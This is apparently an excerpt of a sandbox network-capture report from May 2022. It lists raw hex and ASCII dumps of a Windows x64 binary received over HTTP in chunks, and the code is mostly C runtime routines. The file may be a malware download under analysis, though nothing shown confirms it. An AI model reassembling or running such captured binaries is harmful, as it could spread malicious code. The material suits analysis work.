2022-05-23 06:34:53 UTC	40	IN	Data Raw: 00 85 c0 0f 84 e7 02 00 00 c7 84 24 70 05 00 00 00 00 00 00 eb 10 8b 84 24 70 05 00 00 ff c0 89 84 24 70 05 00 00 81 bc 24 70 05 00 00 00 01 00 00 73 18 8b 84 24 70 05 00 00 0f b6 8c 24 70 05 00 00 88 8c 04 70 04 00 00 eb cb c6 84 24 70 04 00 00 20 48 8d 84 24 7e 05 00 00 48 89 84 24 60 04 00 00 eb 14 48 8b 84 24 60 04 00 00 48 83 c0 02 48 89 84 24 60 04 00 00 48 8b 84 24 60 04 00 00 0f b6 00 85 c0 74 4c 48 8b 84 24 60 04 00 00 0f b6 00 89 84 24 70 05 00 00 eb 10 8b 84 24 70 05 00 00 ff c0 89 84 24 70 05 00 00 48 8b 84 24 60 04 00 00 0f b6 40 01 39 84 24 70 05 00 00 77 11 8b 84 24 70 05 00 00 c6 84 04 70 04 00 00 20 eb ca eb 91 c7 44 24 38 00 00 00 00 48 8b 84 24 b0 05 00 00 8b 40 0c 89 44 24 30 48 8b 84 24 b0 05 00 00 8b 40 04 89 44 24 28 48 8d 44 24 60 Data Ascii: $p$p$p$ps$p$pp$p H$~H$`H$`HH$`H$`tLH$`$p$p$pH$`@9$pw$pp D$8H$@D$0H$@D$(HD$`
2022-05-23 06:34:53 UTC	41	IN	Data Raw: 31 62 39 39 0d 0a c3 cc cc cc cc cc cc cc cc 48 83 ec 28 83 3d 2d 3d 02 00 00 75 14 b9 fd ff ff ff e8 b9 f1 ff ff c7 05 17 3d 02 00 01 00 00 00 33 c0 48 83 c4 28 c3 cc cc cc cc cc cc cc cc 89 4c 24 08 48 83 ec 38 e8 e3 00 00 00 8b 4c 24 40 89 08 8b 4c 24 40 e8 14 00 00 00 89 44 24 20 e8 9b 00 00 00 8b 4c 24 20 89 08 48 83 c4 38 c3 89 4c 24 08 48 83 ec 18 c7 04 24 00 00 00 00 eb 08 8b 04 24 ff c0 89 04 24 48 63 04 24 48 83 f8 2d 73 27 48 63 04 24 48 8d 0d 92 11 02 00 8b 04 c1 39 44 24 20 75 11 48 63 04 24 48 8d 0d 7e 11 02 00 8b 44 c1 04 eb 3b eb c7 83 7c 24 20 13 72 10 83 7c 24 20 24 77 09 b8 0d 00 00 00 eb 24 eb 22 81 7c 24 20 bc 00 00 00 72 13 81 7c 24 20 ca 00 00 00 77 09 b8 08 00 00 00 eb 07 eb 05 b8 16 00 00 00 48 83 c4 18 c3 cc cc cc cc cc cc cc cc Data Ascii: 1b99H(=-=u=3H(L$H8L$@L$@D$ L$ H8L$H$$$Hc$H-s'Hc$H9D$ uHc$H~D;\|$ r\|$ $w$"\|$ r\|$ wH
2022-05-23 06:34:53 UTC	42	IN	Data Raw: fb ff ff c7 00 00 00 00 00 83 bc 24 40 12 00 00 02 75 11 48 8d 05 bc 8f 01 00 48 89 84 24 c8 11 00 00 eb 0f 48 8d 05 a8 8f 01 00 48 89 84 24 c8 11 00 00 48 8b 84 24 60 12 00 00 0f be 00 85 c0 74 12 48 8b 84 24 60 12 00 00 48 89 84 24 d0 11 00 00 eb 0f 48 8d 05 78 8f 01 00 48 89 84 24 d0 11 00 00 48 8b 84 24 60 12 00 00 0f be 00 85 c0 74 1b 83 bc 24 40 12 00 00 02 75 11 48 8d 05 43 8f 01 00 48 89 84 24 d8 11 00 00 eb 0f 48 8d 05 3f 8f 01 00 48 89 84 24 d8 11 00 00 48 8b 84 24 60 12 00 00 0f be 00 85 c0 74 11 48 8d 05 0c 8f 01 00 48 89 84 24 e0 11 00 00 eb 0f 48 8d 05 10 8f 01 00 48 89 84 24 e0 11 00 00 48 83 bc 24 50 12 00 00 00 74 12 48 8b 84 24 50 12 00 00 48 89 84 24 e8 11 00 00 eb 0f 48 8d 05 e4 8e 01 00 48 89 84 24 e8 11 00 00 48 83 bc 24 50 12 00 00 Data Ascii: $@uHH$HH$H$`tH$`H$HxH$H$`t$@uHCH$H?H$H$`tHH$HH$H$PtH$PH$HH$H$P
2022-05-23 06:34:53 UTC	43	IN	Data Raw: 20 00 00 33 c9 ff 15 e2 6c 01 00 85 c0 75 46 4c 8d 05 b7 90 01 00 ba 04 01 00 00 48 8d 8c 24 b0 20 00 00 e8 35 61 00 00 48 c7 44 24 28 00 00 00 00 c7 44 24 20 3c 01 00 00 4c 8d 0d 3d 88 01 00 4c 8d 05 5e 90 01 00 48 8d 15 ef 8f 01 00 8b c8 e8 b8 ca ff ff 48 8d 84 24 b0 20 00 00 48 89 84 24 98 00 00 00 48 8b 8c 24 98 00 00 00 e8 9b 60 00 00 48 83 f8 40 0f 86 93 00 00 00 48 8b 8c 24 98 00 00 00 e8 84 60 00 00 48 8b 8c 24 98 00 00 00 48 8d 44 41 80 48 89 84 24 98 00 00 00 48 8d 84 24 b0 20 00 00 48 8b 8c 24 98 00 00 00 48 2b c8 48 8b c1 48 d1 f8 b9 04 01 00 00 48 2b c8 48 8b c1 48 d1 e0 41 b9 06 00 00 00 4c 8b 05 23 08 02 00 48 8b d0 48 8b 8c 24 98 00 00 00 e8 0b 5a 00 00 48 c7 44 24 28 00 00 00 00 c7 44 24 20 45 01 00 00 4c 8d 0d 83 87 01 00 4c 8d 05 a4 8f Data Ascii: 3luFLH$ 5aHD$(D$ <L=L^HH$ H$H$`H@H$`H$HDAH$H$ H$H+HHH+HHAL#HH$ZHD$(D$ ELL
2022-05-23 06:34:53 UTC	45	IN	Data Raw: 04 75 07 b8 01 00 00 00 eb 02 33 c0 48 8b 8c 24 28 23 00 00 48 33 cc e8 28 78 ff ff 48 81 c4 38 23 00 00 c3 48 89 54 24 10 48 89 4c 24 08 48 83 ec 58 48 83 7c 24 60 00 74 0a c7 44 24 44 01 00 00 00 eb 08 c7 44 24 44 00 00 00 00 8b 44 24 44 89 44 24 40 83 7c 24 40 00 75 2e 48 8d 05 d2 8b 01 00 48 89 44 24 20 45 33 c9 41 b8 48 00 00 00 48 8d 15 4d 8b 01 00 b9 02 00 00 00 e8 f3 f8 ff ff 83 f8 01 75 03 cc 33 c0 83 7c 24 40 00 75 3b e8 5f f0 ff ff c7 00 16 00 00 00 48 c7 44 24 20 00 00 00 00 41 b9 48 00 00 00 4c 8d 05 13 8b 01 00 48 8d 15 ec 8a 01 00 48 8d 0d 75 8b 01 00 e8 70 02 00 00 33 c0 e9 ba 00 00 00 48 83 7c 24 68 e0 76 12 e8 1c f0 ff ff c7 00 0c 00 00 00 33 c0 e9 a0 00 00 00 48 83 7c 24 68 00 75 09 48 c7 44 24 68 01 00 00 00 4c 8b 44 24 60 33 d2 48 8b Data Ascii: u3H$(#H3(xH8#HT$HL$HXH\|$`tD$DD$DD$DD$@\|$@u.HHD$ E3AHHMu3\|$@u;_HD$ AHLHHup3H\|$hv3H\|$huHD$hLD$`3H
2022-05-23 06:34:53 UTC	46	IN	Data Raw: 30 06 00 00 89 84 24 64 05 00 00 48 8b 84 24 18 06 00 00 48 89 84 24 70 05 00 00 ff 15 ca 60 01 00 89 44 24 50 33 c9 ff 15 b6 60 01 00 48 8d 4c 24 40 ff 15 a3 60 01 00 89 84 24 50 05 00 00 83 bc 24 50 05 00 00 00 75 1d 83 7c 24 50 00 75 16 83 bc 24 20 06 00 00 ff 74 0c 8b 8c 24 20 06 00 00 e8 95 cd ff ff 48 8b 8c 24 00 06 00 00 48 33 cc e8 75 72 ff ff 48 81 c4 10 06 00 00 5f c3 cc cc cc cc cc cc cc cc cc cc cc cc 48 89 4c 24 08 48 83 ec 38 c7 44 24 20 00 00 00 00 48 83 7c 24 40 00 75 02 eb 3b 4c 8b 44 24 40 33 d2 48 8b 0d bf 0a 02 00 ff 15 99 61 01 00 89 44 24 20 83 7c 24 20 00 75 1c ff 15 70 60 01 00 8b c8 e8 39 ea ff ff 89 44 24 24 e8 c0 ea ff ff 8b 4c 24 24 89 08 48 83 c4 38 c3 cc cc cc cc cc 48 83 ec 38 c7 44 24 20 fe ff ff ff 45 33 c0 33 d2 48 8b 0d Data Ascii: 0$dH$H$p`D$P3`HL$@`$P$Pu\|$Pu$ t$ H$H3urH_HL$H8D$ H\|$@u;LD$@3HaD$ \|$ up`9D$$L$$H8H8D$ E33H
2022-05-23 06:34:53 UTC	47	IN	Data Raw: e0 1f e9 71 ff ff ff 66 66 66 0f 1f 84 00 00 00 00 00 66 90 48 81 fa 00 10 00 00 72 b5 b8 20 00 00 00 0f 18 04 0a 0f 18 44 0a 40 48 81 c1 80 00 00 00 ff c8 75 ec 48 81 e9 00 10 00 00 b8 40 00 00 00 4c 8b 0c 0a 4c 8b 54 0a 08 4c 0f c3 09 4c 0f c3 51 08 4c 8b 4c 0a 10 4c 8b 54 0a 18 4c 0f c3 49 10 4c 0f c3 51 18 4c 8b 4c 0a 20 4c 8b 54 0a 28 48 83 c1 40 4c 0f c3 49 e0 4c 0f c3 51 e8 4c 8b 4c 0a f0 4c 8b 54 0a f8 ff c8 4c 0f c3 49 f0 4c 0f c3 51 f8 75 aa 49 81 e8 00 10 00 00 49 81 f8 00 10 00 00 0f 83 71 ff ff ff f0 80 0c 24 00 e9 b9 fe ff ff 66 66 66 66 0f 1f 84 00 00 00 00 00 66 66 66 90 66 66 66 90 66 90 49 03 c8 49 83 f8 08 72 61 f6 c1 07 74 36 f6 c1 01 74 0b 48 ff c9 0d 0a Data Ascii: qffffHr D@HuH@LLTLLQLLLTLILQLL LT(H@LILQLLLTLILQuIIq$fffffffffffIIrat6tH
2022-05-23 06:34:53 UTC	47	IN	Data Raw: 64 32 30 0d 0a 8a 04 0a 49 ff c8 88 01 f6 c1 02 74 0f 48 83 e9 02 66 8b 04 0a 49 83 e8 02 66 89 01 f6 c1 04 74 0d 48 83 e9 04 8b 04 0a 49 83 e8 04 89 01 4d 8b c8 49 c1 e9 05 75 50 4d 8b c8 49 c1 e9 03 74 14 48 83 e9 08 48 8b 04 0a 49 ff c9 48 89 01 75 f0 49 83 e0 07 4d 85 c0 75 07 49 8b c3 c3 0f 1f 00 48 ff c9 8a 04 0a 49 ff c8 88 01 75 f3 49 8b c3 c3 66 66 66 66 66 66 66 0f 1f 84 00 00 00 00 00 66 66 66 90 66 66 90 49 81 f9 00 20 00 00 73 42 48 8b 44 0a f8 4c 8b 54 0a f0 48 83 e9 20 48 89 41 18 4c 89 51 10 48 8b 44 0a 08 4c 8b 14 0a 49 ff c9 48 89 41 08 4c 89 11 75 d5 49 83 e0 1f e9 73 ff ff ff 66 66 66 66 0f 1f 84 00 00 00 00 00 66 90 48 81 fa 00 f0 ff ff 77 b5 b8 20 00 00 00 48 81 e9 80 00 00 00 0f 18 04 0a 0f 18 44 0a 40 ff c8 75 ec 48 81 c1 00 10 00 Data Ascii: d20ItHfIftHIMIuPMItHHIHuIMuIHIuIffffffffffffI sBHDLTH HALQHDLIHALuIsfffffHw HD@uH
2022-05-23 06:34:53 UTC	51	IN	Data Raw: 31 66 38 33 0d 0a ff ff 83 bc 24 80 00 00 00 08 75 16 48 8b 44 24 38 8b 90 b0 00 00 00 b9 08 00 00 00 ff 54 24 30 eb 0b 8b 8c 24 80 00 00 00 ff 54 24 30 83 bc 24 80 00 00 00 08 74 14 83 bc 24 80 00 00 00 0b 74 0a 83 bc 24 80 00 00 00 04 75 2a 48 8b 44 24 38 48 8b 4c 24 40 48 89 88 a8 00 00 00 83 bc 24 80 00 00 00 08 75 0f 48 8b 44 24 38 8b 4c 24 58 89 88 b0 00 00 00 33 c0 48 83 c4 78 c3 4a d0 00 00 ea d0 00 00 9a d0 00 00 c2 d0 00 00 72 d0 00 00 3e d1 00 00 00 05 01 05 02 05 01 05 05 01 05 05 05 03 05 05 05 05 05 04 02 cc cc cc cc cc cc cc 48 89 54 24 10 89 4c 24 08 48 83 ec 18 48 8b 44 24 28 48 89 04 24 48 8b 04 24 8b 4c 24 20 39 48 04 74 2a 48 8b 04 24 48 83 c0 10 48 89 04 24 48 63 05 d6 62 01 00 48 6b c0 10 48 8b 4c 24 28 48 03 c8 48 8b c1 48 39 04 24 Data Ascii: 1f83$uHD$8T$0$T$0$t$t$uHD$8HL$@H$uHD$8L$X3HxJr>HT$L$HHD$(H$H$L$ 9HtH$HH$HcbHkHL$(HHH9$
2022-05-23 06:34:53 UTC	55	IN	Data Raw: 28 e8 bb 6f ff ff 48 8b 44 24 30 48 8b 0d ff da 01 00 48 39 48 30 74 13 ba 02 00 00 00 48 8b 44 24 30 48 8b 48 30 e8 96 6f ff ff 48 8b 44 24 30 48 8b 0d e2 da 01 00 48 39 48 38 74 13 ba 02 00 00 00 48 8b 44 24 30 48 8b 48 38 e8 71 6f ff ff 48 8b 44 24 30 48 8b 0d c5 da 01 00 48 39 48 40 74 13 ba 02 00 00 00 48 8b 44 24 30 48 8b 48 40 e8 4c 6f ff ff 48 8b 44 24 30 48 8b 0d a8 da 01 00 48 39 48 48 74 13 ba 02 00 00 00 48 8b 44 24 30 48 8b 48 48 e8 27 6f ff ff 48 8b 44 24 30 48 8b 0d a3 da 01 00 48 39 48 68 74 13 ba 02 00 00 00 48 8b 44 24 30 48 8b 48 68 e8 02 6f ff ff 48 8b 44 24 30 48 8b 0d 86 da 01 00 48 39 48 70 74 13 ba 02 00 00 00 48 8b 44 24 30 48 8b 48 70 e8 dd 6e ff ff 48 8b 44 24 30 48 8b 0d 69 da 01 00 48 39 48 78 74 13 ba 02 00 00 00 48 8b 44 24 Data Ascii: (oHD$0HH9H0tHD$0HH0oHD$0HH9H8tHD$0HH8qoHD$0HH9H@tHD$0HH@LoHD$0HH9HHtHD$0HHH'oHD$0HH9HhtHD$0HHhoHD$0HH9HptHD$0HHpnHD$0HiH9HxtHD$
2022-05-23 06:34:53 UTC	59	IN	Data Raw: 31 62 65 34 0d 0a 39 01 00 00 48 89 84 24 80 00 00 00 eb 0c 48 c7 84 24 80 00 00 00 00 00 00 00 48 8b 84 24 80 00 00 00 48 89 44 24 40 48 83 7c 24 40 00 75 0a e9 e1 00 00 00 e9 dc 00 00 00 8b 44 24 5c 89 44 24 28 48 8b 44 24 40 48 89 44 24 20 44 8b 4c 24 58 4c 8b 44 24 50 8b 94 24 b0 00 00 00 8b 8c 24 a8 00 00 00 ff 15 24 2f 01 00 85 c0 75 0a e9 a3 00 00 00 e9 9e 00 00 00 83 bc 24 d0 00 00 00 00 75 4d 48 c7 44 24 38 00 00 00 00 48 c7 44 24 30 00 00 00 00 c7 44 24 28 00 00 00 00 48 c7 44 24 20 00 00 00 00 44 8b 4c 24 5c 4c 8b 44 24 40 33 d2 8b 8c 24 d8 00 00 00 ff 15 18 2e 01 00 89 44 24 48 83 7c 24 48 00 75 04 eb 4b eb 49 eb 47 48 c7 44 24 38 00 00 00 00 48 c7 44 24 30 00 00 00 00 8b 84 24 d0 00 00 00 89 44 24 28 48 8b 84 24 c8 00 00 00 48 89 44 24 20 44 Data Ascii: 1be49H$H$H$HD$@H\|$@uD$\D$(HD$@HD$ DL$XLD$P$$$/u$uMHD$8HD$0D$(HD$ DL$\LD$@3$.D$H\|$HuKIGHD$8HD$0$D$(H$HD$ D
2022-05-23 06:34:53 UTC	63	IN	Data Raw: c7 84 24 50 10 00 00 ff ff ff ff e9 81 09 00 00 48 83 bc 24 30 81 00 00 00 0f 84 fc 00 00 00 e8 1a a8 ff ff 8b 00 89 84 24 74 70 00 00 e8 0c a8 ff ff c7 00 00 00 00 00 48 8b 84 24 38 81 00 00 48 89 44 24 20 4c 8b 8c 24 30 81 00 00 41 b8 eb 0f 00 00 ba 00 10 00 00 48 8d 8c 24 70 50 00 00 e8 d9 88 00 00 89 84 24 70 70 00 00 83 bc 24 70 70 00 00 00 7d 47 e8 c3 a7 ff ff 48 c7 44 24 38 00 00 00 00 c7 44 24 30 03 02 00 00 48 8d 0d 1b 5e 01 00 48 89 4c 24 28 48 8d 0d 0f 6a 01 00 48 89 4c 24 20 4c 8d 0d 13 30 01 00 41 b8 22 00 00 00 ba 16 00 00 00 8b 08 e8 f1 6a ff ff e8 7c a7 ff ff 8b 8c 24 74 70 00 00 89 08 83 bc 24 70 70 00 00 00 7d 46 4c 8d 05 f2 3e 01 00 ba 00 10 00 00 48 8d 8c 24 70 50 00 00 e8 60 12 00 00 48 c7 44 24 28 00 00 00 00 c7 44 24 20 06 02 00 00 Data Ascii: $PH$0$tpH$8HD$ L$0AH$pP$pp$pp}GHD$8D$0H^HL$(HjHL$ L0A"j\|$tp$pp}FL>H$pP`HD$(D$
2022-05-23 06:34:53 UTC	66	IN	Data Raw: 31 30 34 39 0d 0a 00 48 89 84 24 80 00 00 00 48 83 7c 24 78 00 74 59 48 83 bc 24 80 00 00 00 00 74 4e ff 54 24 78 48 89 44 24 50 48 83 7c 24 50 00 74 35 48 8d 44 24 68 48 89 44 24 20 41 b9 0c 00 00 00 4c 8d 44 24 40 ba 01 00 00 00 48 8b 4c 24 50 ff 94 24 80 00 00 00 85 c0 74 0b 8b 44 24 48 83 e0 01 85 c0 75 08 c7 44 24 6c 01 00 00 00 83 7c 24 6c 00 74 17 8b 84 24 d0 00 00 00 0f ba e8 15 89 84 24 d0 00 00 00 e9 81 00 00 00 48 8b 44 24 30 48 39 05 2d c5 01 00 74 2c 48 8b 0d 24 c5 01 00 ff 15 f6 11 01 00 48 89 84 24 88 00 00 00 48 83 bc 24 88 00 00 00 00 74 0c ff 94 24 88 00 00 00 48 89 44 24 58 48 83 7c 24 58 00 74 3f 48 8b 44 24 30 48 39 05 f3 c4 01 00 74 31 48 8b 0d ea c4 01 00 ff 15 b4 11 01 00 48 89 84 24 90 00 00 00 48 83 bc 24 90 00 00 00 00 74 11 48 Data Ascii: 1049H$H\|$xtYH$tNT$xHD$PH\|$Pt5HD$hHD$ ALD$@HL$P$tD$HuD$l\|$lt$$HD$0H9-t,H$H$H$t$HD$XH\|$Xt?HD$0H9t1HH$H$tH
2022-05-23 06:34:53 UTC	70	IN	Data Raw: 66 63 63 0d 0a 48 89 4c 24 08 48 83 ec 18 33 c0 85 c0 74 29 48 8b 44 24 20 48 8b 00 48 83 c0 08 48 8b 4c 24 20 48 89 01 48 8b 44 24 20 48 8b 00 48 8b 40 f8 48 8b 00 48 89 04 24 eb 24 48 8b 44 24 20 48 8b 00 48 83 c0 08 48 8b 4c 24 20 48 89 01 48 8b 44 24 20 48 8b 00 48 8b 40 f8 48 89 04 24 48 8b 04 24 48 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc 48 89 4c 24 08 48 83 ec 18 33 c0 85 c0 74 29 48 8b 44 24 20 48 8b 00 48 83 c0 08 48 8b 4c 24 20 48 89 01 48 8b 44 24 20 48 8b 00 48 8b 40 f8 0f b7 00 66 89 04 24 eb 24 48 8b 44 24 20 48 8b 00 48 83 c0 08 48 8b 4c 24 20 48 89 01 48 8b 44 24 20 48 8b 00 0f b7 40 f8 66 89 04 24 0f b7 04 24 48 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc 4c 89 4c 24 20 4c 89 44 24 18 48 89 54 24 10 48 89 4c 24 08 57 48 81 ec 90 00 Data Ascii: fccHL$H3t)HD$ HHHL$ HHD$ HH@HH$$HD$ HHHL$ HHD$ HH@H$H$HHL$H3t)HD$ HHHL$ HHD$ HH@f$$HD$ HHHL$ HHD$ H@f$$HLL$ LD$HT$HL$WH
2022-05-23 06:34:53 UTC	74	IN	Data Raw: 31 32 37 63 0d 0a 00 00 00 ff ff ff 7f 74 5e 48 83 bc 24 a8 00 00 00 01 76 53 48 8b 84 24 a8 00 00 00 48 ff c8 48 39 05 ae 81 01 00 73 0e 48 8b 05 a5 81 01 00 48 89 44 24 58 eb 10 48 8b 84 24 a8 00 00 00 48 ff c8 48 89 44 24 58 48 8b 44 24 58 48 d1 e0 48 8b 8c 24 a0 00 00 00 48 83 c1 02 4c 8b c0 ba fe 00 00 00 e8 dd 03 ff ff 48 83 bc 24 b0 00 00 00 00 74 0a c7 44 24 60 01 00 00 00 eb 08 c7 44 24 60 00 00 00 00 8b 44 24 60 89 44 24 44 83 7c 24 44 00 75 2e 48 8d 05 d2 27 01 00 48 89 44 24 20 45 33 c9 41 b8 13 00 00 00 48 8d 15 75 48 01 00 b9 02 00 00 00 e8 8b 84 ff ff 83 f8 01 75 03 cc 33 c0 83 7c 24 44 00 75 3e e8 f7 7b ff ff c7 00 16 00 00 00 48 c7 44 24 20 00 00 00 00 41 b9 13 00 00 00 4c 8d 05 3b 48 01 00 48 8d 15 14 48 01 00 48 8d 0d 75 27 01 00 e8 08 Data Ascii: 127ct^H$vSH$HH9sHHD$XH$HHD$XHD$XHH$HLH$tD$`D$`D$`D$D\|$Du.H'HD$ E3AHuHu3\|$Du>{HD$ AL;HHHHu'
2022-05-23 06:34:53 UTC	78	IN	Data Raw: 01 00 00 e9 a4 01 00 00 48 8b 84 24 a0 00 00 00 83 78 0c 00 75 58 48 8b 84 24 a0 00 00 00 8b 00 25 ff ff ff 1f 3d 21 05 93 19 0f 82 7c 01 00 00 48 8b 84 24 a0 00 00 00 83 78 20 00 74 1b e8 52 a7 ff ff 48 8b 8c 24 a0 00 00 00 48 63 49 20 48 03 c1 48 89 44 24 60 eb 09 48 c7 44 24 60 00 00 00 00 48 83 7c 24 60 00 0f 84 3e 01 00 00 48 8b 84 24 80 00 00 00 81 38 63 73 6d e0 0f 85 d4 00 00 00 48 8b 84 24 80 00 00 00 83 78 18 03 0f 82 c2 00 00 00 48 8b 84 24 80 00 00 00 81 78 20 22 05 93 19 0f 86 ad 00 00 00 48 8b 84 24 80 00 00 00 48 8b 40 30 83 78 08 00 74 1f e8 f5 a6 ff ff 48 8b 8c 24 80 00 00 00 48 8b 49 30 48 63 49 08 48 03 c1 48 89 44 24 68 eb 09 48 c7 44 24 68 00 00 00 00 48 8b 44 24 68 48 89 44 24 50 48 83 7c 24 50 00 74 61 0f b6 84 24 b8 00 00 00 89 44 Data Ascii: H$xuXH$%=!\|H$x tRH$HcI HHD$`HD$`H\|$`>H$8csmH$xH$x "H$H@0xtH$HI0HcIHHD$hHD$hHD$hHD$PH\|$Pta$D
2022-05-23 06:34:53 UTC	78	IN	Data Raw: 65 64 66 0d 0a ff ff 89 44 24 60 4c 8d 4c 24 68 4c 8b 84 24 30 01 00 00 48 8b 94 24 28 01 00 00 48 8b 8c 24 18 01 00 00 e8 f0 a3 ff ff 4c 8b 84 24 30 01 00 00 48 8b 94 24 28 01 00 00 48 8b 8c 24 18 01 00 00 e8 43 fb ff ff 39 44 24 60 7e 43 44 8b 4c 24 60 4c 8b 84 24 30 01 00 00 48 8b 94 24 28 01 00 00 48 8d 4c 24 68 e8 7e fa ff ff 44 8b 4c 24 60 4c 8b 84 24 30 01 00 00 48 8b 94 24 28 01 00 00 48 8b 8c 24 18 01 00 00 e8 8c fa ff ff eb 21 4c 8b 84 24 30 01 00 00 48 8b 94 24 28 01 00 00 48 8b 8c 24 18 01 00 00 e8 dd fa ff ff 89 44 24 60 83 7c 24 60 ff 7c 13 48 8b 84 24 30 01 00 00 8b 40 04 39 44 24 60 7d 02 eb 05 e8 ca 8d ff ff 48 8b 84 24 10 01 00 00 81 38 63 73 6d e0 0f 85 ce 01 00 00 48 8b 84 24 10 01 00 00 83 78 18 04 0f 85 bc 01 00 00 48 8b 84 24 10 01 Data Ascii: edfD$`LL$hL$0H$(H$L$0H$(H$C9D$`~CDL$`L$0H$(HL$h~DL$`L$0H$(H$!L$0H$(H$D$`\|$`\|H$0@9D$`}H$8csmH$xH$
2022-05-23 06:34:53 UTC	82	IN	Data Raw: 36 33 38 66 0d 0a 90 00 00 00 48 63 49 08 48 03 c1 48 63 4c 24 20 8b 04 c8 89 44 24 30 e8 9d 96 ff ff 48 8b 8c 24 90 00 00 00 48 63 49 08 48 03 c1 48 63 4c 24 20 83 7c c8 04 00 74 3a e8 7d 96 ff ff 48 89 44 24 48 e8 73 96 ff ff 48 8b 8c 24 90 00 00 00 48 63 49 08 48 03 c1 48 63 4c 24 20 48 63 44 c8 04 48 8b 4c 24 48 48 03 c8 48 8b c1 48 89 44 24 50 eb 09 48 c7 44 24 50 00 00 00 00 48 83 7c 24 50 00 0f 84 a7 00 00 00 44 8b 4c 24 30 4c 8b 84 24 90 00 00 00 48 8b 94 24 88 00 00 00 48 8b 8c 24 80 00 00 00 e8 61 eb ff ff e8 0c 96 ff ff 48 8b 8c 24 90 00 00 00 48 63 49 08 48 03 c1 48 63 4c 24 20 83 7c c8 04 00 74 3a e8 ec 95 ff ff 48 89 44 24 58 e8 e2 95 ff ff 48 8b 8c 24 90 00 00 00 48 63 49 08 48 03 c1 48 63 4c 24 20 48 63 44 c8 04 48 8b 4c 24 58 48 03 c8 48 Data Ascii: 638fHcIHHcL$ D$0H$HcIHHcL$ \|t:}HD$HsH$HcIHHcL$ HcDHL$HHHHD$PHD$PH\|$PDL$0L$H$H$aH$HcIHHcL$ \|t:HD$XH$HcIHHcL$ HcDHL$XHH
2022-05-23 06:34:53 UTC	86	IN	Data Raw: 44 24 70 e9 7b 03 00 00 48 8b 44 24 30 48 ff c0 48 89 44 24 30 48 8b 84 24 e0 00 00 00 48 83 c0 02 48 89 84 24 e0 00 00 00 e9 72 ff ff ff 48 8b 44 24 30 48 89 44 24 78 48 8d 4c 24 38 e8 78 07 ff ff 48 8b 44 24 78 e9 37 03 00 00 e9 45 02 00 00 48 8d 4c 24 38 e8 9f 07 ff ff 48 8b 00 8b 8c 24 f0 00 00 00 89 4c 24 28 48 8b 8c 24 e0 00 00 00 48 89 4c 24 20 41 b9 ff ff ff ff 4c 8b 84 24 e8 00 00 00 ba 09 00 00 00 8b 48 04 ff 15 30 c1 00 00 48 98 48 89 44 24 30 48 83 7c 24 30 00 74 27 48 8b 44 24 30 48 ff c8 48 89 84 24 80 00 00 00 48 8d 4c 24 38 e8 ff 06 ff ff 48 8b 84 24 80 00 00 00 e9 bb 02 00 00 ff 15 bc bf 00 00 83 f8 7a 74 3b e8 12 4a ff ff c7 00 2a 00 00 00 33 c0 48 8b 8c 24 e0 00 00 00 66 89 01 48 c7 84 24 88 00 00 00 ff ff ff ff 48 8d 4c 24 38 e8 b9 06 Data Ascii: D$p{HD$0HHD$0H$HH$rHD$0HD$xHL$8xHD$x7EHL$8H$L$(H$HL$ AL$H0HHD$0H\|$0t'HD$0HH$HL$8H$zt;J*3H$fH$HL$8
2022-05-23 06:34:53 UTC	90	IN	Data Raw: 00 48 8d 15 b5 0a 01 00 48 8d 0d 2e 0b 01 00 e8 91 4c ff ff b8 16 00 00 00 e9 aa 04 00 00 48 83 bc 24 b0 00 00 00 00 76 0a c7 44 24 68 01 00 00 00 eb 08 c7 44 24 68 00 00 00 00 8b 44 24 68 89 44 24 54 83 7c 24 54 00 75 2e 48 8d 05 44 0a 01 00 48 89 44 24 20 45 33 c9 41 b8 67 00 00 00 48 8d 15 6f 0a 01 00 b9 02 00 00 00 e8 75 42 ff ff 83 f8 01 75 03 cc 33 c0 83 7c 24 54 00 75 3e e8 e1 39 ff ff c7 00 16 00 00 00 48 c7 44 24 20 00 00 00 00 41 b9 67 00 00 00 4c 8d 05 35 0a 01 00 48 8d 15 16 0a 01 00 48 8d 0d e7 09 01 00 e8 f2 4b ff ff b8 16 00 00 00 e9 0b 04 00 00 48 8b 84 24 a8 00 00 00 c6 00 00 48 83 bc 24 b0 00 00 00 ff 74 68 48 81 bc 24 b0 00 00 00 ff ff ff 7f 74 5a 48 83 bc 24 b0 00 00 00 01 76 4f 48 8b 84 24 b0 00 00 00 48 ff c8 48 39 05 77 3e 01 00 73 Data Ascii: HH.LH$vD$hD$hD$hD$T\|$Tu.HDHD$ E3AgHouBu3\|$Tu>9HD$ AgL5HHKH$H$thH$tZH$vOH$HH9w>s
2022-05-23 06:34:53 UTC	94	IN	Data Raw: 24 40 48 83 bc 24 a8 00 00 00 00 0f 84 75 01 00 00 48 8b 84 24 b0 00 00 00 48 39 44 24 40 0f 86 4b 01 00 00 48 83 bc 24 c0 00 00 00 ff 0f 84 27 01 00 00 48 8b 84 24 a8 00 00 00 c6 00 00 48 83 bc 24 b0 00 00 00 ff 74 68 48 81 bc 24 b0 00 00 00 ff ff ff 7f 74 5a 48 83 bc 24 b0 00 00 00 01 76 4f 48 8b 84 24 b0 00 00 00 48 ff c8 48 39 05 7c 2e 01 00 73 0e 48 8b 05 73 2e 01 00 48 89 44 24 78 eb 10 48 8b 84 24 b0 00 00 00 48 ff c8 48 89 44 24 78 48 8b 84 24 a8 00 00 00 48 ff c0 4c 8b 44 24 78 ba fe 00 00 00 48 8b c8 e8 af b0 fe ff 48 8b 44 24 40 48 39 84 24 b0 00 00 00 76 0d c7 84 24 80 00 00 00 01 00 00 00 eb 0b c7 84 24 80 00 00 00 00 00 00 00 8b 84 24 80 00 00 00 89 44 24 50 83 7c 24 50 00 75 2e 48 8d 05 9f fa 00 00 48 89 44 24 20 45 33 c9 41 b8 64 01 00 00 Data Ascii: $@H$uH$H9D$@KH$'H$H$thH$tZH$vOH$HH9\|.sHs.HD$xH$HHD$xH$HLD$xHHD$@H9$v$$$D$P\|$Pu.HHD$ E3Ad
